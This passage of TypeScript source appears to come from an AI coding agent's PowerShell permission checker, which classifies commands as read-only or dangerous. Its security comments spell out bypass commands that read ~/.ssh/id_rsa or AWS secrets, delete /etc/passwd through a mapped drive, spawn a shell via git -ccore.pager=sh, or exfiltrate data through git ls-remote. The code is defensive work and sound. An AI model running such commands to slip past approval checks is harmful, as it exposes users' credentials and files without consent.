| * checkPermissionMode and isReadOnlyCommand — these callers need the same | |
| * "skip harmless pipeline tail" behavior as SAFE_OUTPUT_CMDLETS but with | |
| * the argLeaksValue guard. | |
| */ | |
| const PIPELINE_TAIL_CMDLETS = new Set([ | |
| 'format-table', | |
| 'format-list', | |
| 'format-wide', | |
| 'format-custom', | |
| 'measure-object', | |
| 'select-object', | |
| 'sort-object', | |
| 'group-object', | |
| 'where-object', | |
| 'out-string', | |
| 'out-host', | |
| ]) | |
| /** | |
| * External .exe names allowed past the nameType='application' gate. | |
| * | |
| * classifyCommandName returns 'application' for any name containing a dot, | |
| * which the nameType gate at isAllowlistedCommand rejects before allowlist | |
| * lookup. That gate exists to block scripts\Get-Process → stripModulePrefix → | |
| * cmd.name='Get-Process' spoofing. But it also catches benign PATH-resolved | |
| * .exe names like where.exe (bash `which` equivalent — pure read, no dangerous | |
| * flags). | |
| * | |
| * SECURITY: the bypass checks the raw first token of cmd.text, NOT cmd.name. | |
| * stripModulePrefix collapses scripts\where.exe → cmd.name='where.exe', but | |
| * cmd.text preserves the raw 'scripts\where.exe ...'. Matching cmd.text's | |
| * first token defeats that spoofing — only a bare `where.exe` (PATH lookup) | |
| * gets through. | |
| * | |
| * Each entry here MUST have a matching CMDLET_ALLOWLIST entry for flag | |
| * validation. | |
| */ | |
| const SAFE_EXTERNAL_EXES = new Set(['where.exe']) | |
| /** | |
| * Windows PATHEXT extensions that PowerShell resolves via PATH lookup. | |
| * `git.exe`, `git.cmd`, `git.bat`, `git.com` all invoke git at runtime and | |
| * must resolve to the same canonical name so git-safety guards fire. | |
| * .ps1 is intentionally excluded — a script named git.ps1 is not the git | |
| * binary and does not trigger git's hook mechanism. | |
| */ | |
| const WINDOWS_PATHEXT = /\.(exe|cmd|bat|com)$/ | |
| /** | |
| * Resolves a command name to its canonical cmdlet name using COMMON_ALIASES. | |
| * Strips Windows executable extensions (.exe, .cmd, .bat, .com) from path-free | |
| * names so e.g. `git.exe` canonicalises to `git` and triggers git-safety | |
| * guards (powershellPermissions.ts hasGitSubCommand). SECURITY: only strips | |
| * when the name has no path separator — `scripts\git.exe` is a relative path | |
| * (runs a local script, not PATH-resolved git) and must NOT canonicalise to | |
| * `git`. Returns lowercase canonical name. | |
| */ | |
| export function resolveToCanonical(name: string): string { | |
| let lower = name.toLowerCase() | |
| // Only strip PATHEXT on bare names — paths run a specific file, not the | |
| // PATH-resolved executable the guards are protecting against. | |
| if (!lower.includes('\\') && !lower.includes('/')) { | |
| lower = lower.replace(WINDOWS_PATHEXT, '') | |
| } | |
| const alias = COMMON_ALIASES[lower] | |
| if (alias) { | |
| return alias.toLowerCase() | |
| } | |
| return lower | |
| } | |
| /** | |
| * Checks if a command name (after alias resolution) alters the path-resolution | |
| * namespace for subsequent statements in the same compound command. | |
| * | |
| * Covers TWO classes: | |
| * 1. Cwd-changing cmdlets: Set-Location, Push-Location, Pop-Location (and | |
| * aliases cd, sl, chdir, pushd, popd). Subsequent relative paths resolve | |
| * from the new cwd. | |
| * 2. PSDrive-creating cmdlets: New-PSDrive (and aliases ndr, mount on Windows). | |
| * Subsequent drive-prefixed paths (p:/foo) resolve via the new drive root, | |
| * not via the filesystem. Finding #21: `New-PSDrive -Name p -Root /etc; | |
| * Remove-Item p:/passwd` — the validator cannot know p: maps to /etc. | |
| * | |
| * Any compound containing one of these cannot have its later statements' | |
| * relative/drive-prefixed paths validated against the stale validator cwd. | |
| * | |
| * Name kept for BashTool parity (isCwdChangingCmdlet ↔ compoundCommandHasCd); | |
| * semantically this is "alters path-resolution namespace". | |
| */ | |
| export function isCwdChangingCmdlet(name: string): boolean { | |
| const canonical = resolveToCanonical(name) | |
| return ( | |
| canonical === 'set-location' || | |
| canonical === 'push-location' || | |
| canonical === 'pop-location' || | |
| // New-PSDrive creates a drive mapping that redirects <name>:/... paths | |
| // to an arbitrary filesystem root. Aliases ndr/mount are not in | |
| // COMMON_ALIASES — check them explicitly (finding #21). | |
| canonical === 'new-psdrive' || | |
| // ndr/mount are PS aliases for New-PSDrive on Windows only. On POSIX, | |
| // 'mount' is the native mount(8) command; treating it as PSDrive-creating | |
| // would false-positive. (bug #15 / review nit) | |
| (getPlatform() === 'windows' && | |
| (canonical === 'ndr' || canonical === 'mount')) | |
| ) | |
| } | |
| /** | |
| * Checks if a command name (after alias resolution) is a safe output cmdlet. | |
| */ | |
| export function isSafeOutputCommand(name: string): boolean { | |
| const canonical = resolveToCanonical(name) | |
| return SAFE_OUTPUT_CMDLETS.has(canonical) | |
| } | |
| /** | |
| * Checks if a command element is a pipeline-tail transformer that was moved | |
| * from SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST (PIPELINE_TAIL_CMDLETS set) | |
| * AND passes its argLeaksValue guard via isAllowlistedCommand. | |
| * | |
| * Narrow fallback for isSafeOutputCommand call sites that need to keep the | |
| * "skip harmless pipeline tail" behavior for Format-Table / Select-Object / etc. | |
| * Does NOT match the full CMDLET_ALLOWLIST — only the migrated transformers. | |
| */ | |
| export function isAllowlistedPipelineTail( | |
| cmd: ParsedCommandElement, | |
| originalCommand: string, | |
| ): boolean { | |
| const canonical = resolveToCanonical(cmd.name) | |
| if (!PIPELINE_TAIL_CMDLETS.has(canonical)) { | |
| return false | |
| } | |
| return isAllowlistedCommand(cmd, originalCommand) | |
| } | |
| /** | |
| * Fail-closed gate for read-only auto-allow. Returns true ONLY for a | |
| * PipelineAst where every element is a CommandAst — the one statement | |
| * shape we can fully validate. Everything else (assignments, control | |
| * flow, expression sources, chain operators) defaults to false. | |
| * | |
| * Single code path to true. New AST types added to PowerShell fall | |
| * through to false by construction. | |
| */ | |
| export function isProvablySafeStatement(stmt: ParsedStatement): boolean { | |
| if (stmt.statementType !== 'PipelineAst') return false | |
| // Empty commands → vacuously passes the loop below. PowerShell's | |
| // parser guarantees PipelineAst.PipelineElements ≥ 1 for valid source, | |
| // but this gate is the linchpin — defend against parser/JSON edge cases. | |
| if (stmt.commands.length === 0) return false | |
| for (const cmd of stmt.commands) { | |
| if (cmd.elementType !== 'CommandAst') return false | |
| } | |
| return true | |
| } | |
| /** | |
| * Looks up a command in the allowlist, resolving aliases first. | |
| * Returns the config if found, or undefined. | |
| */ | |
| function lookupAllowlist(name: string): CommandConfig | undefined { | |
| const lower = name.toLowerCase() | |
| // Direct lookup first | |
| const direct = CMDLET_ALLOWLIST[lower] | |
| if (direct) { | |
| return direct | |
| } | |
| // Resolve alias to canonical and look up | |
| const canonical = resolveToCanonical(lower) | |
| if (canonical !== lower) { | |
| return CMDLET_ALLOWLIST[canonical] | |
| } | |
| return undefined | |
| } | |
| /** | |
| * Sync regex-based check for security-concerning patterns in a PowerShell command. | |
| * Used by isReadOnly (which must be sync) as a fast pre-filter before the | |
| * cmdlet allowlist check. This mirrors BashTool's checkReadOnlyConstraints | |
| * which checks bashCommandIsSafe_DEPRECATED before evaluating read-only status. | |
| * | |
| * Returns true if the command contains patterns that indicate it should NOT | |
| * be considered read-only, even if the cmdlet is in the allowlist. | |
| */ | |
| export function hasSyncSecurityConcerns(command: string): boolean { | |
| const trimmed = command.trim() | |
| if (!trimmed) { | |
| return false | |
| } | |
| // Subexpressions: $(...) can execute arbitrary code | |
| if (/\$\(/.test(trimmed)) { | |
| return true | |
| } | |
| // Splatting: @variable passes arbitrary parameters. Real splatting is | |
| // token-start only — `@` preceded by whitespace/separator/start, not mid-word. | |
| // `[^\w.]` excludes word chars and `.` so `user@example.com` (email) and | |
| // `file.@{u}` don't match, but ` @splat` / `;@splat` / `^@splat` do. | |
| if (/(?:^|[^\w.])@\w+/.test(trimmed)) { | |
| return true | |
| } | |
| // Member invocations: .Method() can call arbitrary .NET methods | |
| if (/\.\w+\s*\(/.test(trimmed)) { | |
| return true | |
| } | |
| // Assignments: $var = ... can modify state | |
| if (/\$\w+\s*[+\-*/]?=/.test(trimmed)) { | |
| return true | |
| } | |
| // Stop-parsing symbol: --% passes everything raw to native commands | |
| if (/--%/.test(trimmed)) { | |
| return true | |
| } | |
| // UNC paths: \\server\share or //server/share can trigger network requests | |
| // and leak NTLM/Kerberos credentials | |
| // eslint-disable-next-line custom-rules/no-lookbehind-regex -- .test() with atom search, short command strings | |
| if (/\\\\/.test(trimmed) || /(?<!:)\/\//.test(trimmed)) { | |
| return true | |
| } | |
| // Static method calls: [Type]::Method() can invoke arbitrary .NET methods | |
| if (/::/.test(trimmed)) { | |
| return true | |
| } | |
| return false | |
| } | |
| /** | |
| * Checks if a PowerShell command is read-only based on the cmdlet allowlist. | |
| * | |
| * @param command - The original PowerShell command string | |
| * @param parsed - The AST-parsed representation of the command | |
| * @returns true if the command is read-only, false otherwise | |
| */ | |
| export function isReadOnlyCommand( | |
| command: string, | |
| parsed?: ParsedPowerShellCommand, | |
| ): boolean { | |
| const trimmedCommand = command.trim() | |
| if (!trimmedCommand) { | |
| return false | |
| } | |
| // If no parsed AST available, conservatively return false | |
| if (!parsed) { | |
| return false | |
| } | |
| // If parsing failed, reject | |
| if (!parsed.valid) { | |
| return false | |
| } | |
| const security = deriveSecurityFlags(parsed) | |
| // Reject commands with script blocks — we can't verify the code inside them | |
| // e.g., Get-Process | ForEach-Object { Remove-Item C:\foo } looks like a safe pipeline | |
| // but the script block contains destructive code | |
| if ( | |
| security.hasScriptBlocks || | |
| security.hasSubExpressions || | |
| security.hasExpandableStrings || | |
| security.hasSplatting || | |
| security.hasMemberInvocations || | |
| security.hasAssignments || | |
| security.hasStopParsing | |
| ) { | |
| return false | |
| } | |
| const segments = getPipelineSegments(parsed) | |
| if (segments.length === 0) { | |
| return false | |
| } | |
| // SECURITY: Block compound commands that contain a cwd-changing cmdlet | |
| // (Set-Location/Push-Location/Pop-Location/New-PSDrive) alongside any other | |
| // statement. This was previously scoped to cd+git only, but that overlooked | |
| // the isReadOnlyCommand auto-allow path for cd+read compounds (finding #27): | |
| // Set-Location ~; Get-Content ./.ssh/id_rsa | |
| // Both cmdlets are in CMDLET_ALLOWLIST, so without this guard the compound | |
| // auto-allows. Path validation resolved ./.ssh/id_rsa against the STALE | |
| // validator cwd (e.g. /project), missing any Read(~/.ssh/**) deny rule. | |
| // At runtime PowerShell cd's to ~, reads ~/.ssh/id_rsa. | |
| // | |
| // Any compound containing a cwd-changing cmdlet cannot be auto-classified | |
| // read-only when other statements may use relative paths — those paths | |
| // resolve differently at runtime than at validation time. BashTool has the | |
| // equivalent guard via compoundCommandHasCd threading into path validation. | |
| const totalCommands = segments.reduce( | |
| (sum, seg) => sum + seg.commands.length, | |
| 0, | |
| ) | |
| if (totalCommands > 1) { | |
| const hasCd = segments.some(seg => | |
| seg.commands.some(cmd => isCwdChangingCmdlet(cmd.name)), | |
| ) | |
| if (hasCd) { | |
| return false | |
| } | |
| } | |
| // Check each statement individually - all must be read-only | |
| for (const pipeline of segments) { | |
| if (!pipeline || pipeline.commands.length === 0) { | |
| return false | |
| } | |
| // Reject file redirections (writing to files). `> $null` discards output | |
| // and is not a filesystem write, so it doesn't disqualify read-only status. | |
| if (pipeline.redirections.length > 0) { | |
| const hasFileRedirection = pipeline.redirections.some( | |
| r => !r.isMerging && !isNullRedirectionTarget(r.target), | |
| ) | |
| if (hasFileRedirection) { | |
| return false | |
| } | |
| } | |
| // First command must be in the allowlist | |
| const firstCmd = pipeline.commands[0] | |
| if (!firstCmd) { | |
| return false | |
| } | |
| if (!isAllowlistedCommand(firstCmd, command)) { | |
| return false | |
| } | |
| // Remaining pipeline commands must be safe output cmdlets OR allowlisted | |
| // (with arg validation). Format-Table/Measure-Object moved from | |
| // SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST after security review found all | |
| // accept calculated-property hashtables. isAllowlistedCommand runs their | |
| // argLeaksValue callback: bare `| Format-Table` passes, `| Format-Table | |
| // $env:SECRET` fails. SECURITY: nameType gate catches 'scripts\\Out-Null' | |
| // (raw name has path chars → 'application'). cmd.name is stripped to | |
| // 'Out-Null' which would match SAFE_OUTPUT_CMDLETS, but PowerShell runs | |
| // scripts\\Out-Null.ps1. | |
| for (let i = 1; i < pipeline.commands.length; i++) { | |
| const cmd = pipeline.commands[i] | |
| if (!cmd || cmd.nameType === 'application') { | |
| return false | |
| } | |
| // SECURITY: isSafeOutputCommand is name-only; only short-circuit for | |
| // zero-arg invocations. Out-String -InputObject:(rm x) — the paren is | |
| // evaluated when Out-String runs. With name-only check and args, the | |
| // colon-bound paren bypasses. Force isAllowlistedCommand (arg validation) | |
| // when args present — Out-String/Out-Null/Out-Host are NOT in | |
| // CMDLET_ALLOWLIST so any args will reject. | |
| // PoC: Get-Process | Out-String -InputObject:(Remove-Item /tmp/x) | |
| // → auto-allow → Remove-Item runs. | |
| if (isSafeOutputCommand(cmd.name) && cmd.args.length === 0) { | |
| continue | |
| } | |
| if (!isAllowlistedCommand(cmd, command)) { | |
| return false | |
| } | |
| } | |
| // SECURITY: Reject statements with nested commands. nestedCommands are | |
| // CommandAst nodes found inside script block arguments, ParenExpressionAst | |
| // children of colon-bound parameters, or other non-top-level positions. | |
| // A statement with nestedCommands is by definition not a simple read-only | |
| // invocation — it contains executable sub-pipelines that bypass the | |
| // per-command allowlist check above. | |
| if (pipeline.nestedCommands && pipeline.nestedCommands.length > 0) { | |
| return false | |
| } | |
| } | |
| return true | |
| } | |
| /** | |
| * Checks if a single command element is in the allowlist and passes flag validation. | |
| */ | |
| export function isAllowlistedCommand( | |
| cmd: ParsedCommandElement, | |
| originalCommand: string, | |
| ): boolean { | |
| // SECURITY: nameType is computed from the raw (pre-stripModulePrefix) name. | |
| // 'application' means the raw name contains path chars (. \\ /) — e.g. | |
| // 'scripts\\Get-Process', './git', 'node.exe'. PowerShell resolves these as | |
| // file paths, not as the cmdlet/command the stripped name matches. Never | |
| // auto-allow: the allowlist was built for cmdlets, not arbitrary scripts. | |
| // Known collateral: 'Microsoft.PowerShell.Management\\Get-ChildItem' also | |
| // classifies as 'application' (contains . and \\) and will prompt. Acceptable | |
| // since module-qualified names are rare in practice and prompting is safe. | |
| if (cmd.nameType === 'application') { | |
| // Bypass for explicit safe .exe names (bash `which` parity — see | |
| // SAFE_EXTERNAL_EXES). SECURITY: match the raw first token of cmd.text, | |
| // not cmd.name. stripModulePrefix collapses scripts\where.exe → | |
| // cmd.name='where.exe', but cmd.text preserves 'scripts\where.exe ...'. | |
| const rawFirstToken = cmd.text.split(/\s/, 1)[0]?.toLowerCase() ?? '' | |
| if (!SAFE_EXTERNAL_EXES.has(rawFirstToken)) { | |
| return false | |
| } | |
| // Fall through to lookupAllowlist — CMDLET_ALLOWLIST['where.exe'] handles | |
| // flag validation (empty config = all flags OK, matching bash's `which`). | |
| } | |
| const config = lookupAllowlist(cmd.name) | |
| if (!config) { | |
| return false | |
| } | |
| // If there's a regex constraint, check it against the original command | |
| if (config.regex && !config.regex.test(originalCommand)) { | |
| return false | |
| } | |
| // If there's an additional callback, check it | |
| if (config.additionalCommandIsDangerousCallback?.(originalCommand, cmd)) { | |
| return false | |
| } | |
| // SECURITY: whitelist arg elementTypes — only StringConstant and Parameter | |
| // are statically verifiable. Everything else expands/evaluates at runtime: | |
| // 'Variable' → `Get-Process $env:AWS_SECRET_ACCESS_KEY` expands, | |
| // errors "Cannot find process 'sk-ant-...'", model | |
| // reads the secret from the error | |
| // 'Other' (Hashtable) → `Get-Process @{k=$env:SECRET}` same leak | |
| // 'Other' (Convert) → `Get-Process [string]$env:SECRET` same leak | |
| // 'Other' (BinaryExpr)→ `Get-Process ($env:SECRET + '')` same leak | |
| // 'SubExpression' → arbitrary code (already caught by deriveSecurityFlags | |
| // at the isReadOnlyCommand layer, but isAllowlistedCommand | |
| // is also called from checkPermissionMode directly) | |
| // hasSyncSecurityConcerns misses bare $var (only matches `$(`/@var/.Method(/ | |
| // $var=/--%/::); deriveSecurityFlags has no 'Variable' case; the safeFlags | |
| // loop below validates flag NAMES but not positional arg TYPES. File cmdlets | |
| // (CMDLET_PATH_CONFIG) are already protected by SAFE_PATH_ELEMENT_TYPES in | |
| // pathValidation.ts — this closes the gap for non-file cmdlets (Get-Process, | |
| // Get-Service, Get-Command, ~15 others). PS equivalent of Bash's blanket `$` | |
| // token check at BashTool/readOnlyValidation.ts:~1356. | |
| // | |
| // Placement: BEFORE external-command dispatch so git/gh/docker/dotnet get | |
| // this too (defense-in-depth with their string-based `$` checks; catches | |
| // @{...}/[cast]/($a+$b) that `$` substring misses). In PS argument mode, | |
| // bare `5` tokenizes as StringConstant (BareWord), not a numeric literal, | |
| // so `git log -n 5` passes. | |
| // | |
| // SECURITY: elementTypes undefined → fail-closed. The real parser always | |
| // sets it (parser.ts:769/781/812), so undefined means an untrusted or | |
| // malformed element. Previously skipped (fail-open) for test-helper | |
| // convenience; test helpers now set elementTypes explicitly. | |
| // elementTypes[0] is the command name; args start at elementTypes[1]. | |
| if (!cmd.elementTypes) { | |
| return false | |
| } | |
| { | |
| for (let i = 1; i < cmd.elementTypes.length; i++) { | |
| const t = cmd.elementTypes[i] | |
| if (t !== 'StringConstant' && t !== 'Parameter') { | |
| // ArrayLiteralAst (`Get-Process Name, Id`) maps to 'Other'. The | |
| // leak vectors enumerated above all have a metachar in their extent | |
| // text: Hashtable `@{`, Convert `[`, BinaryExpr-with-var `$`, | |
| // ParenExpr `(`. A bare comma-list of identifiers has none. | |
| if (!/[$(@{[]/.test(cmd.args[i - 1] ?? '')) { | |
| continue | |
| } | |
| return false | |
| } | |
| // Colon-bound parameter (`-Flag:$env:SECRET`) is a SINGLE | |
| // CommandParameterAst — the VariableExpressionAst is its .Argument | |
| // child, not a separate CommandElement, so elementTypes says 'Parameter' | |
| // and the whitelist above passes. | |
| // | |
| // Query the parser's children[] tree instead of doing | |
| // string-archaeology on the arg text. children[i-1] holds the | |
| // .Argument child's mapped type (aligned with args[i-1]). | |
| // Tree query catches MORE than the string check — e.g. | |
| // `-InputObject:@{k=v}` (HashtableAst → 'Other', no `$` in text), | |
| // `-Name:('payload' > file)` (ParenExpressionAst with redirection). | |
| // Fallback to the extended metachar check when children is undefined | |
| // (backward compat / test helpers that don't set it). | |
| if (t === 'Parameter') { | |
| const paramChildren = cmd.children?.[i - 1] | |
| if (paramChildren) { | |
| if (paramChildren.some(c => c.type !== 'StringConstant')) { | |
| return false | |
| } | |
| } else { | |
| // Fallback: string-archaeology on arg text (pre-children parsers). | |
| // Reject `$` (variable), `(` (ParenExpressionAst), `@` (hash/array | |
| // sub), `{` (scriptblock), `[` (type literal/static method). | |
| const arg = cmd.args[i - 1] ?? '' | |
| const colonIdx = arg.indexOf(':') | |
| if (colonIdx > 0 && /[$(@{[]/.test(arg.slice(colonIdx + 1))) { | |
| return false | |
| } | |
| } | |
| } | |
| } | |
| } | |
| const canonical = resolveToCanonical(cmd.name) | |
| // Handle external commands via shared validation | |
| if ( | |
| canonical === 'git' || | |
| canonical === 'gh' || | |
| canonical === 'docker' || | |
| canonical === 'dotnet' | |
| ) { | |
| return isExternalCommandSafe(canonical, cmd.args) | |
| } | |
| // On Windows, / is a valid flag prefix for native commands (e.g., findstr /S). | |
| // But PowerShell cmdlets always use - prefixed parameters, so /tmp is a path, | |
| // not a flag. We detect cmdlets by checking if the command resolves to a | |
| // Verb-Noun canonical name (either directly or via alias). | |
| const isCmdlet = canonical.includes('-') | |
| // SECURITY: if allowAllFlags is set, skip flag validation (command's entire | |
| // flag surface is read-only). Otherwise, missing/empty safeFlags means | |
| // "positional args only, reject all flags" — NOT "accept everything". | |
| if (config.allowAllFlags) { | |
| return true | |
| } | |
| if (!config.safeFlags || config.safeFlags.length === 0) { | |
| // No safeFlags defined and allowAllFlags not set: reject any flags. | |
| // Positional-only args are still allowed (the loop below won't fire). | |
| // This is the safe default — commands must opt in to flag acceptance. | |
| const hasFlags = cmd.args.some((arg, i) => { | |
| if (isCmdlet) { | |
| return isPowerShellParameter(arg, cmd.elementTypes?.[i + 1]) | |
| } | |
| return ( | |
| arg.startsWith('-') || | |
| (process.platform === 'win32' && arg.startsWith('/')) | |
| ) | |
| }) | |
| return !hasFlags | |
| } | |
| // Validate that all flags used are in the allowlist. | |
| // SECURITY: use elementTypes as ground | |
| // truth for parameter detection. PowerShell's tokenizer accepts en-dash/ | |
| // em-dash/horizontal-bar (U+2013/2014/2015) as parameter prefixes; a raw | |
| // startsWith('-') check misses `–ComputerName` (en-dash). The parser maps | |
| // CommandParameterAst → 'Parameter' regardless of dash char. | |
| // elementTypes[0] is the name element; args start at elementTypes[1]. | |
| for (let i = 0; i < cmd.args.length; i++) { | |
| const arg = cmd.args[i]! | |
| // For cmdlets: trust elementTypes (AST ground truth, catches Unicode dashes). | |
| // For native exes on Windows: also check `/` prefix (argv convention, not | |
| // tokenizer — the parser sees `/S` as a positional, not CommandParameterAst). | |
| const isFlag = isCmdlet | |
| ? isPowerShellParameter(arg, cmd.elementTypes?.[i + 1]) | |
| : arg.startsWith('-') || | |
| (process.platform === 'win32' && arg.startsWith('/')) | |
| if (isFlag) { | |
| // For cmdlets, normalize Unicode dash to ASCII hyphen for safeFlags | |
| // comparison (safeFlags entries are always written with ASCII `-`). | |
| // Native-exe safeFlags are stored with `/` (e.g. '/FO') — don't touch. | |
| let paramName = isCmdlet ? '-' + arg.slice(1) : arg | |
| const colonIndex = paramName.indexOf(':') | |
| if (colonIndex > 0) { | |
| paramName = paramName.substring(0, colonIndex) | |
| } | |
| // -ErrorAction/-Verbose/-Debug etc. are accepted by every cmdlet via | |
| // [CmdletBinding()] and only route error/warning/progress streams — | |
| // they can't make a read-only cmdlet write. pathValidation.ts already | |
| // merges these into its per-cmdlet param sets (line ~1339); this is | |
| // the same merge for safeFlags. Without it, `Get-Content file.txt | |
| // -ErrorAction SilentlyContinue` prompts despite Get-Content being | |
| // allowlisted. Only for cmdlets — native exes don't have common params. | |
| const paramLower = paramName.toLowerCase() | |
| if (isCmdlet && COMMON_PARAMETERS.has(paramLower)) { | |
| continue | |
| } | |
| const isSafe = config.safeFlags.some( | |
| flag => flag.toLowerCase() === paramLower, | |
| ) | |
| if (!isSafe) { | |
| return false | |
| } | |
| } | |
| } | |
| return true | |
| } | |
| // --------------------------------------------------------------------------- | |
| // External command validation (git, gh, docker) using shared configs | |
| // --------------------------------------------------------------------------- | |
| function isExternalCommandSafe(command: string, args: string[]): boolean { | |
| switch (command) { | |
| case 'git': | |
| return isGitSafe(args) | |
| case 'gh': | |
| return isGhSafe(args) | |
| case 'docker': | |
| return isDockerSafe(args) | |
| case 'dotnet': | |
| return isDotnetSafe(args) | |
| default: | |
| return false | |
| } | |
| } | |
| const DANGEROUS_GIT_GLOBAL_FLAGS = new Set([ | |
| '-c', | |
| '-C', | |
| '--exec-path', | |
| '--config-env', | |
| '--git-dir', | |
| '--work-tree', | |
| // SECURITY: --attr-source creates a parser differential. Git treats the | |
| // token after the tree-ish value as a pathspec (not the subcommand), but | |
| // our skip-by-2 loop would treat it as the subcommand: | |
| // git --attr-source HEAD~10 log status | |
| // validator: advances past HEAD~10, sees subcmd=log → allow | |
| // git: consumes `log` as pathspec, runs `status` as the real subcmd | |
| // Verified with `GIT_TRACE=1 git --attr-source HEAD~10 log status` → | |
| // `trace: built-in: git status`. Reject outright rather than skip-by-2. | |
| '--attr-source', | |
| ]) | |
| // Git global flags that accept a separate (space-separated) value argument. | |
| // When the loop encounters one without an inline `=` value, it must skip the | |
| // next token so the value isn't mistaken for the subcommand. | |
| // | |
| // SECURITY: This set must be COMPLETE. Any value-consuming global flag not | |
| // listed here creates a parser differential: validator sees the value as the | |
| // subcommand, git consumes it and runs the NEXT token. Audited against | |
| // `man git` + GIT_TRACE for git 2.51; --list-cmds is `=`-only, booleans | |
| // (-p/--bare/--no-*/--*-pathspecs/--html-path/etc.) advance by 1 via the | |
| // default path. --attr-source REMOVED: it also triggers pathspec parsing, | |
| // creating a second differential — moved to DANGEROUS_GIT_GLOBAL_FLAGS above. | |
| const GIT_GLOBAL_FLAGS_WITH_VALUES = new Set([ | |
| '-c', | |
| '-C', | |
| '--exec-path', | |
| '--config-env', | |
| '--git-dir', | |
| '--work-tree', | |
| '--namespace', | |
| '--super-prefix', | |
| '--shallow-file', | |
| ]) | |
| // Git short global flags that accept attached-form values (no space between | |
| // flag letter and value). Long options (--git-dir etc.) require `=` or space, | |
| // so the split-on-`=` check handles them. But `-ccore.pager=sh` and `-C/path` | |
| // need prefix matching: git parses `-c<name>=<value>` and `-C<path>` directly. | |
| const DANGEROUS_GIT_SHORT_FLAGS_ATTACHED = ['-c', '-C'] | |
| function isGitSafe(args: string[]): boolean { | |
| if (args.length === 0) { | |
| return true | |
| } | |
| // SECURITY: Reject any arg containing `$` (variable reference). Bare | |
| // VariableExpressionAst positionals reach here as literal text ($env:SECRET, | |
| // $VAR). deriveSecurityFlags does not gate bare Variable args. The validator | |
| // sees `$VAR` as text; PowerShell expands it at runtime. Parser differential: | |
| // git diff $VAR where $VAR = '--output=/tmp/evil' | |
| // → validator sees positional '$VAR' → validateFlags passes | |
| // → PowerShell runs `git diff --output=/tmp/evil` → file write | |
| // This generalizes the ls-remote inline `$` guard below to all git subcommands. | |
| // Bash equivalent: BashTool blanket | |
| // `$` rejection at readOnlyValidation.ts:~1352. isGhSafe has the same guard. | |
| for (const arg of args) { | |
| if (arg.includes('$')) { | |
| return false | |
| } | |
| } | |
| // Skip over global flags before the subcommand, rejecting dangerous ones. | |
| // Flags that take space-separated values must consume the next token so it | |
| // isn't mistaken for the subcommand (e.g. `git --namespace foo status`). | |
| let idx = 0 | |
| while (idx < args.length) { | |
| const arg = args[idx] | |
| if (!arg || !arg.startsWith('-')) { | |
| break | |
| } | |
| // SECURITY: Attached-form short flags. `-ccore.pager=sh` splits on `=` to | |
| // `-ccore.pager`, which isn't in DANGEROUS_GIT_GLOBAL_FLAGS. Git accepts | |
| // `-c<name>=<value>` and `-C<path>` with no space. We must prefix-match. | |
| // Note: `--cached`, `--config-env`, etc. already fail startsWith('-c') at | |
| // position 1 (`-` ≠ `c`). The `!== '-'` guard only applies to `-c` | |
| // (git config keys never start with `-`, so `-c-key` is implausible). | |
| // It does NOT apply to `-C` — directory paths CAN start with `-`, so | |
| // `git -C-trap status` must reject. `git -ccore.pager=sh log` spawns a shell. | |
| for (const shortFlag of DANGEROUS_GIT_SHORT_FLAGS_ATTACHED) { | |
| if ( | |
| arg.length > shortFlag.length && | |
| arg.startsWith(shortFlag) && | |
| (shortFlag === '-C' || arg[shortFlag.length] !== '-') | |
| ) { | |
| return false | |
| } | |
| } | |
| const hasInlineValue = arg.includes('=') | |
| const flagName = hasInlineValue ? arg.split('=')[0] || '' : arg | |
| if (DANGEROUS_GIT_GLOBAL_FLAGS.has(flagName)) { | |
| return false | |
| } | |
| // Consume the next token if the flag takes a separate value | |
| if (!hasInlineValue && GIT_GLOBAL_FLAGS_WITH_VALUES.has(flagName)) { | |
| idx += 2 | |
| } else { | |
| idx++ | |
| } | |
| } | |
| if (idx >= args.length) { | |
| return true | |
| } | |
| // Try multi-word subcommand first (e.g. 'stash list', 'config --get', 'remote show') | |
| const first = args[idx]?.toLowerCase() || '' | |
| const second = idx + 1 < args.length ? args[idx + 1]?.toLowerCase() || '' : '' | |
| // GIT_READ_ONLY_COMMANDS keys are like 'git diff', 'git stash list' | |
| const twoWordKey = `git ${first} ${second}` | |
| const oneWordKey = `git ${first}` | |
| let config: ExternalCommandConfig | undefined = | |
| GIT_READ_ONLY_COMMANDS[twoWordKey] | |
| let subcommandTokens = 2 | |
| if (!config) { | |
| config = GIT_READ_ONLY_COMMANDS[oneWordKey] | |
| subcommandTokens = 1 | |
| } | |
| if (!config) { | |
| return false | |
| } | |
| const flagArgs = args.slice(idx + subcommandTokens) | |
| // git ls-remote URL rejection — ported from BashTool's inline guard | |
| // (src/tools/BashTool/readOnlyValidation.ts:~962). ls-remote with a URL | |
| // is a data-exfiltration vector (encode secrets in hostname → DNS/HTTP). | |
| // Reject URL-like positionals: `://` (http/git protocols), `@` + `:` (SSH | |
| // git@host:path), and `$` (variable refs — $env:URL reaches here as the | |
| // literal string '$env:URL' when the arg's elementType is Variable; the | |
| // security-flag checks don't gate bare Variable positionals passed to | |
| // external commands). | |
| if (first === 'ls-remote') { | |
| for (const arg of flagArgs) { | |
| if (!arg.startsWith('-')) { | |
| if ( | |
| arg.includes('://') || | |
| arg.includes('@') || | |
| arg.includes(':') || | |
| arg.includes('$') | |
| ) { | |
| return false | |
| } | |
| } | |
| } | |
| } | |
| if ( | |
| config.additionalCommandIsDangerousCallback && | |
| config.additionalCommandIsDangerousCallback('', flagArgs) | |
| ) { | |
| return false | |
| } | |
| return validateFlags(flagArgs, 0, config, { commandName: 'git' }) | |
| } | |
| function isGhSafe(args: string[]): boolean { | |
| // gh commands are network-dependent; only allow for ant users | |
| if (process.env.USER_TYPE !== 'ant') { | |
| return false | |
| } | |
| if (args.length === 0) { | |
| return true | |
| } | |
| // Try two-word subcommand first (e.g. 'pr view') | |
| let config: ExternalCommandConfig | undefined | |
| let subcommandTokens = 0 | |
| if (args.length >= 2) { | |
| const twoWordKey = `gh ${args[0]?.toLowerCase()} ${args[1]?.toLowerCase()}` | |
| config = GH_READ_ONLY_COMMANDS[twoWordKey] | |
| subcommandTokens = 2 | |
| } | |
| // Try single-word subcommand (e.g. 'gh version') | |
| if (!config && args.length >= 1) { | |
| const oneWordKey = `gh ${args[0]?.toLowerCase()}` | |
| config = GH_READ_ONLY_COMMANDS[oneWordKey] | |
| subcommandTokens = 1 | |
| } | |
| if (!config) { | |
| return false | |
| } | |
| const flagArgs = args.slice(subcommandTokens) | |
| // SECURITY: Reject any arg containing `$` (variable reference). Bare | |
| // VariableExpressionAst positionals reach here as literal text ($env:SECRET). | |
